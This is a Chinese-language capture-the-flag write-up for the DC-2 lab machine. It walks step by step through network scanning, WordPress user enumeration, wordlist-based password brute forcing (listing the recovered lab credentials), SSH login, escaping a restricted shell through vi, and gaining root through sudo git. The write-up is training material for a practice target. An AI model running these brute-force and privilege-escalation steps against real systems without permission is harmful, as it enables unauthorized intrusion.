DC-2 writeup

DC-2渗透过程（kali IP:192.168.229.132 靶机IP:192.168.229.150）

一.信息收集

-用nmap扫描靶机
nmap -sP 192.168.229.0/24 //靶机IP：192.168.229.150
-扫开放端口
nmap -sV -p- 192.168.229.150 //开放端口：http 80 ssh 7744
-收集web信息
whatweb 192.168.229.150
-扫描web目录 dirsearch -u 192.168.229.150 -e * -x 404,405
得到信息：cms: wordpress 4.7.10 中间件：apache 2.4.10 语言：php 后台登录页面 /wp-login.php

二.漏洞查找
searchsploit wordpress 4.7.10 //发现有任意文件删除，查看用户信息，Dos攻击等漏洞，这里感觉只有查看用户信息有用，查看他的利用信息

三.漏洞利用

locate multiple/webapps/47690.md
cat /usr/share/exploitdb/exploits/multiple/webapps/47690.md //发现给了一个有漏洞的url,http://wordpress.local/?static=1&order=asc，访问发现flag1，flag2，flag1提示我们要用cewl爬网站，flag2提示我们wordpress行不通，要用其他方法

四.密码爆破

wpscan -url "http://192.168.229.150/?static=1&order=asc" -e u //用wpscan爆破出用户名，不能访问http://dc-2/用上面发现的有漏洞的url代替，扫出admin jerry tom
cewl "http://192.168.229.150/?static=1&order=asc" -w test //用cewl爬网站，爬出一个密码字典 wpscan --url "http://192.168.229.150/?static=1&order=asc" -U name -P test //用cewl爬出的字典爆破密码 爆破出来两个 tom:parturient jerry:adipiscing

五.ssh远程连接获取rbash

ssh jerry@192.168.229.150 -p 7744
ssh tom @192.168.229.150 -p 7744 //密码爆破出来登录进去发现看到的和之前的一样，则尝试ssh远程连接，jerry的一直连接不上，尝试连tom，能连上

六.提权

-rbash逃逸 ls //发现有flag4但用cat查看不了，报rbash,说明现在权限很低只能执行一些指令
echo $PATH
echo /home/tom/usr/bin/* //查看上面得到的path路径的所有文件，发现可用,用less,ls,scp,vi
less falag3.txt //提示我们要用su,但现在的权限是rbash不能用su
vi test
:set shell=/bin/bash
:shell
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/ //这里用vi逃逸rbash su jerry //根据提示去jerry的家目录找找
cd ~ ls
cat flag4.txt //找到flag4，提示用git提权
-git提权
sudo -l //看看哪些指令以root执行，果然有git
sudo git -p help
!/bin/bash //获得root权限
find / -name * flag *
cd /root
ls
cat final-flag.txt